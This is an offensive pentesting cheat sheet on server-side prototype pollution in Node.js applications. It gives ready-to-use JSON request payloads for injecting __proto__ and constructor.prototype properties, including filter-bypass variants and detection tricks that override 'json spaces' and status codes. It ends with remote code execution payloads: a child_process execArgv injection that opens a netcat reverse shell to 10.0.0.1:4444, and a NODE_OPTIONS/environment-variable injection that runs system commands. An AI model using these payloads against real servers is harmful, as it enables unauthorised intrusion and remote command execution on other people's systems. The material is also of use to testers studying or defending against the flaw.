Prototype Pollution in Server-Side
Prototype Pollution is a JavaScript vulnerability that allows attackers to add arbitrary properties to global object prototypes. The vulnerability may exist in Node.js applications.
- [server-side](https://portswigger.net/web-security/prototype-pollution/server-side)
- [prototype-pollution-to-rce](https://book.hacktricks.xyz/pentesting-web/deserialization/nodejs-proto-prototype-pollution/prototype-pollution-to-rce)
- [SNYK-JS-MERGE-1040469](https://security.snyk.io/vuln/SNYK-JS-MERGE-1040469)
Investigation
If the properties is affected by our pollution, our polluted properties might be injected into the target object as follow.
POST /user/update HTTP/1.1
Host: example.com
...
{
"name": "john",
"email": "john@example.com",
"__proto__": {
"foo": "bar"
}
}
// Other option
{
"name": "john",
"email": "john@example.com",
"constructor": {
"prototype": {
"foo": "bar"
}
}
}
// Bypass sanitization 1
{
"name": "john",
"email": "john@example.com",
"__pro__proto__to__": {
"foo": "bar"
}
}
// Bypass sanitization 2
{
"name": "john",
"email": "john@example.com",
"constconstructorructor": {
"prototype": {
"foo": "bar"
}
}
}
If our property is added into the target object as below, we can inject malicious property which leads to privilege escalation, reverse shell, so on.
Privilege Escalation
JSON Spaces Overriding
Inject the additional property whose key contains spaces, and send request.
POST /user/update HTTP/1.1
{
"name": "john",
"email": "john@example.com",
"__proto__": {
"json spaces": 10
}
}
In response, if indents is added at the json body as below, the polluted property affects the server.
To check that in Burp Suite, click Raw tab in HTTP response window.
Status Code Overriding
First off, cause syntax error deliberately by removing comma in the json body when sending POST request.
Of course we receive the error response as json object that might contain "status" or "statusCode" like below.
Now we try to update the status code to arbitrary number (400-599) and observe if the status code will be changed.
We need to send correct json format at the time because we want to apply our payload.
POST /user/update HTTP/1.1
{
"name": "john",
"email": "john@example.com",
"__proto__": {
"status": 555
}
}
Finally we can check if our polluted property affects the server status by sending the incorrect json format body again.
If the server responses the error contains the modified status code, the vulnerability of the prototype pollution exists in the web server.
Remote Code Execution (RCE)
It may often occur in the child_process
module in Node.
- shell: It enables us to set a specific shell such as
sh
,bash
, in which to run commands. - NODE_OPTIONS: The environment variable that defines the command-line arguments.
RCE via child_process.spawn(), child_process.fork()
"__proto__": {
"execArgv": [
"--eval=require('child_process').execSync('rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4444 >/tmp/f')"
]}
Overwrite Environment Variable
Below also can be achieved.
"constructor":{
"prototype":{
"env":{
"xyz":"require('child_process').execSync('whoami').toString()"
},
"NODE_OPTIONS":"--require /proc/self/environ"
}
}
-
env
Set the value of thexyz
to environment variables. -
--require /proc/self/environ
Inject environment variables from the current process as a module.